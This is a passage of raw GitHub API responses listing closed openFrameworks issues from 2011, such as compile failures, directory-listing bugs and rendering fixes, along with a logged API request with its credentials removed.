files.","number":543,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/543","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":789788,"closed_at":"2011-12-03T21:04:46Z","created_at":"2011-04-19T17:34:17Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b5c0e3c2630097b29680cfeda464024c","url":"https://api.github.com/users/memo","login":"memo","id":144230,"avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"fixing ios compile problems","html_url":"https://github.com/openframeworks/openFrameworks/issues/542","comments":1,"assignee":null,"updated_at":"2011-04-23T15:53:33Z","body":"fixed a bunch of ios no-compile problems\r\n\r\n\r\n- graphics + gl\r\n- orientation stuff (and thus anything that uses it, e.g. keyboard)\r\n- events\r\n- video player\r\n- video grabber\r\n\r\ni've fixed these all and committed in a fix-ios branch. The examples compile and run now, but I recommend whoever wrote those bits to have a bit more of an indepth look to make sure the fixes don't have any side effects.\r\n\r\nP.S. Some of the examples, the developer is set to Theo's developer profile. If we leave this on Automatic it will pick whatever profile is installed on the mac. Also, there is a stray cppunit.a missing in the example projects /libs/poco too (we don't even need the osx folder here i guess in the projects?). I've fixed the empty example, which compiles and works now, some of the other examples (e.g. videograbber) doesn't link though. I\"ll leave that to the video guys :)\r\n","number":542,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/542","diff_url":"https://github.com/openframeworks/openFrameworks/pull/542.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/542.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/542","labels":[],"id":788711,"closed_at":"2011-04-23T15:53:32Z","created_at":"2011-04-19T14:14:40Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","url":"https://api.github.com/users/chrisoshea","login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxAssimpModelLoader ref to ofFileUtils","html_url":"https://github.com/openframeworks/openFrameworks/issues/540","comments":2,"assignee":null,"updated_at":"2011-04-16T10:55:23Z","body":"needs fixing in ...\r\n\r\n/addons/ofxAssimpModelLoader/src/ofxAssimpModelLoader.cpp:147: error: \r\n'ofFileUtils' has not been declared\r\n","number":540,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/540","labels":[],"id":777819,"closed_at":"2011-04-16T10:54:23Z","created_at":"2011-04-16T10:53:25Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofBuffer getNextLine - error putting file back together.","html_url":"https://github.com/openframeworks/openFrameworks/issues/539","comments":0,"assignee":null,"updated_at":"2011-05-01T15:23:50Z","body":"When I use getNextLine to go through a file and recombine the file into a single string something is missing ( ie a json file can't be parsed ). \r\n\r\nUsing this code instead and stitching it back together works fine.\r\n\r\n\tstring str,strTotal;\r\n\tifstream in;\r\n\tin.open(ofToDataPath(path, true).c_str());\r\n\t\r\n\tgetline(in,str);\r\n\twhile ( in ) {\r\n\t\r\n\t\tstrTotal += str;\r\n\t\tgetline(in, str);\r\n }\r\n\r\nI'll try and see what the difference is - but in theory the result should be the same. \r\n\r\nalso possible related the size of getNextLine is never 0, it seems like the size is 1 when its done reading. \r\nis this because of the null byte?\r\nit would be good to find a clear way to know when you have reached the last line of the file.\r\n\r\n@arturoc","number":539,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/539","labels":[],"id":773449,"closed_at":"2011-05-01T15:23:50Z","created_at":"2011-04-15T13:00:12Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","url":"https://api.github.com/users/roxlu","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofToDataPath returns incorrect path when used in constructor (Mac)","html_url":"https://github.com/openframeworks/openFrameworks/issues/538","comments":2,"assignee":null,"updated_at":"2011-09-11T11:28:15Z","body":"When you call ofToDataPath(\"file.mov\",true) inside the testApp constructor (or actually before setup() is called) it returns\r\nan incorrect path. ","number":538,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/538","labels":[],"id":765530,"closed_at":"2011-09-11T11:28:15Z","created_at":"2011-04-13T18:49:37Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxDirList is broken by ofFileUtils restructuring","html_url":"https://github.com/openframeworks/openFrameworks/issues/537","comments":1,"assignee":null,"updated_at":"2011-09-11T11:37:45Z","body":"ofxDirList.h should now be:\r\n\r\n\t#pragma once\r\n\r\n\t#include \"ofFileUtils.h\"\r\n\r\n\t#warning ofxDirList has been deprecated. \r\n\t#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\n\ttypedef ofDirectory ofxDirList;","number":537,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/537","labels":[],"id":764261,"closed_at":"2011-09-11T11:37:45Z","created_at":"2011-04-13T14:11:28Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"simple ofLog and ofDrawBitmapString C++ ostream wrappers","html_url":"https://github.com/openframeworks/openFrameworks/issues/536","comments":0,"assignee":null,"updated_at":"2011-04-29T18:10:42Z","body":"Here's a simplified version of the C++ ostream << interface to ofLog and ofDrawBitmapString as well as a test app in /apps/devApps. This is based on [ofxLogger](https://github.com/danomatika/ofxLogger) but with the normal printf backend instead of the Poco::Logger.\n\nThis supports the old ofLog usage and also allows you to use streams by log level name:\n\nofLog(OF_LOG_NOTICE, \"a message\");\nofLog() << \"a message\";\n\nofLog(OF_LOG_ERROR, \"an error\");\nofLogError() << \"an error\";\n\nofDrawBitmapString works the same way:\n\nofDrawBitmapString(\"a message on the screen\", 10, 10);\nofDrawBitmapString(10, 10) << \"a message on the screen\";\n\nNaturally the stream operators handle type conversion to strings for you and this implementations handles all the stream io formatting functions such as std::endl, std::hex, etc ...","number":536,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/536","diff_url":"https://github.com/openframeworks/openFrameworks/pull/536.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/536.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/536","labels":[],"id":756726,"closed_at":"2011-04-29T18:10:42Z","created_at":"2011-04-11T22:21:05Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"trying to close a thread several time can be problematic","html_url":"https://github.com/openframeworks/openFrameworks/issues/535","comments":3,"assignee":null,"updated_at":"2012-04-03T22:57:43Z","body":"http://forum.openframeworks.cc/index.php/topic,5924.0.html\r\n\r\nperhaps we should look into using Poco::Thread or even std::tr1::thread if it's available in all the compilers","number":535,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/535","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":755993,"closed_at":"2012-04-03T16:44:15Z","created_at":"2011-04-11T19:58:14Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"kiss library missing on linux32 ?","html_url":"https://github.com/openframeworks/openFrameworks/issues/531","comments":4,"assignee":null,"updated_at":"2011-04-10T20:51:00Z","body":"is the kiss library missing on linux 32 bit?\r\nis it vital for openal soundplayer?","number":531,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/531","labels":[],"id":749734,"closed_at":"2011-04-10T10:40:23Z","created_at":"2011-04-10T10:04:53Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"2510c33845ef9568d7d753be5de0f96a","url":"https://api.github.com/users/dimitre","login":"dimitre","id":58289,"avatar_url":"https://secure.gravatar.com/avatar/2510c33845ef9568d7d753be5de0f96a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofDirectoryLister / ofDirectory, latest from GIT master on OS X","html_url":"https://github.com/openframeworks/openFrameworks/issues/527","comments":2,"assignee":null,"updated_at":"2011-04-08T21:28:35Z","body":"I've noticed ofDirectoryLister was renamed ofDirectory, but from the latest master I can't compile anything, how can I fix this?\r\n\r\n CompileC build/openFrameworksLib.build/Debug/openFrameworks.build/Objects-normal/i386/ofDirectoryLister.o ../../../openFrameworks/utils/ofDirectoryLister.cpp normal i386 c++ com.apple.compilers.gcc.4_2\r\n cd /Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx\r\n setenv LANG en_US.US-ASCII\r\n /Developer/usr/bin/gcc-4.2 -x c++ -arch i386 -fmessage-length=0 -pipe -Wno-trigraphs -fpascal-strings -fasm-blocks -Os -ftree-vectorize -msse3 -mssse3 -Wno-deprecated-declarations -Wno-invalid-offsetof -gdwarf-2 -I/Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/openFrameworksDebug.hmap -F/Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/../../lib/osx -I/Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/../../lib/osx/include -I../../../../libs/freetype/include -I../../../../libs/freetype/include/freetype2 -I../../../../libs/poco/include -I/Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/DerivedSources/i386 -I/Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/DerivedSources -D__MACOSX_CORE__ -lpthread -c /Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/utils/ofDirectoryLister.cpp -o /Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/build/openFrameworksLib.build/Debug/openFrameworks.build/Objects-normal/i386/ofDirectoryLister.o\r\n\r\n i686-apple-darwin10-gcc-4.2.1: /Users/dimitre/src/OFnew/openFrameworks/libs/openFrameworksCompiled/project/osx/../../../openFrameworks/utils/ofDirectoryLister.cpp: No such file or directory\r\n Command /Developer/usr/bin/gcc-4.2 failed with exit code 1","number":527,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/527","labels":[],"id":746514,"closed_at":"2011-04-08T21:19:58Z","created_at":"2011-04-08T21:02:45Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofFind broken for vector with one element ","html_url":"https://github.com/openframeworks/openFrameworks/issues/526","comments":4,"assignee":null,"updated_at":"2011-04-15T13:34:04Z","body":"@kylemcdonald\r\n\r\nvector arr; \r\narr.push_back(\"hello\"); \r\n\r\nofFind(arr, \"hello\"); //returns false should return true.","number":526,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/526","labels":[],"id":742304,"closed_at":"2011-04-15T13:01:42Z","created_at":"2011-04-07T19:18:41Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofDrawAxis leaks color, and disappears sometimes","html_url":"https://github.com/openframeworks/openFrameworks/issues/521","comments":1,"assignee":null,"updated_at":"2011-08-26T06:14:56Z","body":"ofDrawAxis needs an ofPushStyle()/ofPopStyle() surrounding it.\r\n\r\nit should also be drawn with constant-width thick lines (ofSetLineWidth()) instead of drawn with boxes. the boxes will disappear if you zoom out too much, or they will get too big if you're working on a smaller scale.","number":521,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/521","labels":[],"id":725921,"closed_at":"2011-08-26T06:14:56Z","created_at":"2011-04-02T00:53:10Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"2510c33845ef9568d7d753be5de0f96a","url":"https://api.github.com/users/dimitre","login":"dimitre","id":58289,"avatar_url":"https://secure.gravatar.com/avatar/2510c33845ef9568d7d753be5de0f96a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofLine termination with width > 1, drawing in angle","html_url":"https://github.com/openframeworks/openFrameworks/issues/518","comments":2,"assignee":null,"updated_at":"2011-12-03T22:55:25Z","body":"Hello, I've just noticed that when I draw a line with some width, lets say 10 pixels, the line always have terminations in orthogonal endings (0, 90 degrees) related to the screen instead of related to the line itself.\r\n","number":518,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/518","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":719227,"closed_at":"2011-12-03T22:55:25Z","created_at":"2011-03-30T21:39:27Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"floating point ofImage + ofPixel","html_url":"https://github.com/openframeworks/openFrameworks/issues/517","comments":1,"assignee":null,"updated_at":"2011-09-25T13:15:30Z","body":"i see two major reasons to introduce floating point images. one is for ofTexture compatibility (ofTexture has a floating point pixel datatype already implemented, and it's integrated with ofFbo i believe.) if we want proper readback texture -> pixels we need this.\n\nthe other big reason is opencv compatibility. there are a lot of arguments in opencv that require floating point images, or work best with floating point images. if OF had a floating point image type, it would make the transition between OF and CV much more seamless. things like cpu-based accumulation buffers will happen more easily.\n\nthis would also bring us one step closer to higher bit depth png saving.\n\ni understand this feature is not easy at all, but i think it's super important.","number":517,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/517","labels":[],"id":718930,"closed_at":"2011-09-25T13:15:30Z","created_at":"2011-03-30T20:17:04Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"closes #514, fixes issue with dirList on paths not ending with slashes","html_url":"https://github.com/openframeworks/openFrameworks/issues/516","comments":2,"assignee":null,"updated_at":"2011-04-04T15:53:58Z","body":"that's embarrassing, a user just reported this obvious problem i somehow failed to port from the old ofxDirList.\r\n\r\nnote that i solved it by adding a function ofFileUtils::getPathForDirectory(string path) which uses poco to add a trailing slash when necessary. i feel like this is probably more reliable than checking if the last character is a slash and adding it ourself (which was the old solution).","number":516,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/516","diff_url":"https://github.com/openframeworks/openFrameworks/pull/516.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/516.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/516","labels":[],"id":718612,"closed_at":"2011-04-04T15:53:58Z","created_at":"2011-03-30T18:30:27Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"cairo bug with ofCircle - hardcoded to be black!","html_url":"https://github.com/openframeworks/openFrameworks/issues/515","comments":2,"assignee":null,"updated_at":"2011-03-30T18:58:04Z","body":"remove line 902:\r\n\t\tcairo_set_source_rgba(cr,0,0,0,1);\r\nfrom:\r\n\t//----------------------------------------------------------\r\n\tvoid ofCairoRenderer::drawCircle(float x, float y, float z, float radius){\r\n\t\tcairo_new_path(cr);\r\n\t\tcairo_set_source_rgba(cr,0,0,0,1);\r\n\t\tcairo_arc(cr, x,y,radius,0,2*PI);\r\n\r\n\t\tcairo_close_path(cr);\r\n\r\n\t\tif(bFilled==OF_FILLED){\r\n\t\t\tcairo_fill( cr );\r\n\t\t}else{\r\n\t\t\tcairo_stroke( cr );\r\n\t\t}\r\n\t}\r\n","number":515,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/515","labels":[],"id":718532,"closed_at":"2011-03-30T18:58:04Z","created_at":"2011-03-30T18:05:36Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=22&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '28521'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"12aa0c3192d5169fa13f2b75f3f437fb"'), ('date', 'Tue, 29 May 2012 18:46:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-03-30T18:44:28Z","body":"I'm listing a folder inside \"data\" folder, its called \"videos/001\"\nwhen I use getPath it returns me something like \"videos/0.mov\" instead of \"videos/001/0.mov\"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/514","comments":4,"milestone":null,"number":514,"html_url":"https://github.com/openframeworks/openFrameworks/issues/514","assignee":null,"title":"ofDirectoryLister, getPath returning incomplete path","labels":[],"closed_at":"2011-03-30T18:03:19Z","created_at":"2011-03-30T13:59:00Z","state":"closed","user":{"url":"https://api.github.com/users/dimitre","gravatar_id":"2510c33845ef9568d7d753be5de0f96a","login":"dimitre","avatar_url":"https://secure.gravatar.com/avatar/2510c33845ef9568d7d753be5de0f96a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":58289},"id":717785,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-28T13:55:08Z","body":"I got some bad access errors when loading images from twitpic/yfrom asynchronously. Added some checks to ofURLoader. I also tried to handle http-redirects; but could not find anything usefull information in the poco documentation. I think it would be good to have an option to follow redirects.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/513","comments":1,"milestone":null,"number":513,"html_url":"https://github.com/openframeworks/openFrameworks/issues/513","assignee":null,"title":"ofUrlLoader exc_bad_access","labels":[],"closed_at":"2011-03-28T13:55:08Z","created_at":"2011-03-27T18:25:41Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":708745,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/513.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/513","diff_url":"https://github.com/openframeworks/openFrameworks/pull/513.diff"}},{"updated_at":"2011-03-24T10:07:24Z","body":"tested in c::b on windows vista, and tested in xcode.\r\n\r\npoco has a massive bug with one of the file listing methods Poco::File::list(vector) so i switched to Poco::File::list(vector), which works fine, and extrapolated.\r\n\r\nnot sure if this is because poco win is behind poco osx, or if it's just a bug with poco?\r\n\r\nalso, this includes an example (dirListExample) working in c::b on win.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/512","comments":3,"milestone":null,"number":512,"html_url":"https://github.com/openframeworks/openFrameworks/issues/512","assignee":null,"title":"ofDirectoryLister fixed for windows","labels":[],"closed_at":"2011-03-24T10:07:24Z","created_at":"2011-03-23T06:31:16Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":696762,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/512.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/512","diff_url":"https://github.com/openframeworks/openFrameworks/pull/512.diff"}},{"updated_at":"2011-03-23T18:05:53Z","body":"Use of ofDirectoryLister on Windows Code::Block leads to a Segmentation Fault. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/511","comments":7,"milestone":null,"number":511,"html_url":"https://github.com/openframeworks/openFrameworks/issues/511","assignee":null,"title":"ofDirectoryLister on Windows Code::Blocks","labels":[],"closed_at":"2011-03-22T17:29:27Z","created_at":"2011-03-22T11:27:47Z","state":"closed","user":{"url":"https://api.github.com/users/ambroisemaupate","gravatar_id":"82bf1f66bdd97e89ea46cb48639aa5c1","login":"ambroisemaupate","avatar_url":"https://secure.gravatar.com/avatar/82bf1f66bdd97e89ea46cb48639aa5c1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":380026},"id":693547,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-21T21:27:34Z","body":"line 354 has a leftover \r\n <<<<<<< HEAD \r\nfrom a merge","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/509","comments":1,"milestone":null,"number":509,"html_url":"https://github.com/openframeworks/openFrameworks/issues/509","assignee":null,"title":"Stray characters / bad merge in ofGLRenderer.cpp","labels":[],"closed_at":"2011-03-21T21:27:34Z","created_at":"2011-03-21T21:22:30Z","state":"closed","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":692219,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-21T09:17:19Z","body":"../../../openFrameworks/sound/ofRtAudioSoundStream.cpp: In static member function ‘static int ofRtAudioSoundStream::rtAudioCallback(void*, void*, unsigned int, double, RtAudioStreamStatus, void*)’:\r\n../../../openFrameworks/sound/ofRtAudioSoundStream.cpp:209: error: no matching function for call to ‘ofBaseSoundInput::audioIn(float*, unsigned int&, int&, long long unsigned int&)’\r\n../../../openFrameworks/types/ofBaseTypes.h:98: note: candidates are: virtual void ofBaseSoundInput::audioIn(float*, int, int)\r\n../../../openFrameworks/sound/ofRtAudioSoundStream.cpp:217: error: no matching function for call to ‘ofBaseSoundOutput::audioOut(float*, unsigned int&, int&, long long unsigned int&)’\r\n../../../openFrameworks/types/ofBaseTypes.h:111: note: candidates are: virtual void ofBaseSoundOutput::audioOut(float*, int, int)\r\nmake: *** [obj/Debug/openFrameworks/sound/ofRtAudioSoundStream.o] Errore 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/508","comments":1,"milestone":null,"number":508,"html_url":"https://github.com/openframeworks/openFrameworks/issues/508","assignee":null,"title":"007 does not compile anymore on Ubuntu Linux (Lucid x86)","labels":[],"closed_at":"2011-03-21T09:17:19Z","created_at":"2011-03-21T01:30:26Z","state":"closed","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":689805,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-12-03T20:26:56Z","body":"You're calling the string method 'replace()' in ofUtils.cpp (L253), but this give me an error at compilation on Windows Codeblocks, \"replace() is not a member of std\".\r\n\r\nI've changed the line to this : \"path.replace(...)\" instead of \"std::replace(...)\" and it works. Thanks to apply modifications !","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/506","comments":2,"milestone":null,"number":506,"html_url":"https://github.com/openframeworks/openFrameworks/issues/506","assignee":null,"title":"std::replace() in ofUtils.cpp (L253) win32 codeblocks 007","labels":[],"closed_at":"2011-12-03T20:26:56Z","created_at":"2011-03-20T23:06:08Z","state":"closed","user":{"url":"https://api.github.com/users/ambroisemaupate","gravatar_id":"82bf1f66bdd97e89ea46cb48639aa5c1","login":"ambroisemaupate","avatar_url":"https://secure.gravatar.com/avatar/82bf1f66bdd97e89ea46cb48639aa5c1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":380026},"id":689570,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-21T14:39:13Z","body":"we need recent compiled opencv libs in ofxOpenCv for linux32 in master branch of 007","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/505","comments":1,"milestone":null,"number":505,"html_url":"https://github.com/openframeworks/openFrameworks/issues/505","assignee":null,"title":"need for compiled opencv for linux32 in master branch","labels":[],"closed_at":"2011-03-21T14:39:13Z","created_at":"2011-03-20T21:55:22Z","state":"closed","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":689446,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-05T15:59:48Z","body":"\r\n\r\ncurrent fbo says \"#ifndef TARGET_OPENGLES\" \r\n\r\nbut it would be great to have fbo (or some subset of the fbo) work on iphone / opengles, such at this version: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=2909","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/504","comments":2,"milestone":null,"number":504,"html_url":"https://github.com/openframeworks/openFrameworks/issues/504","assignee":null,"title":"fbo needs opengl/es 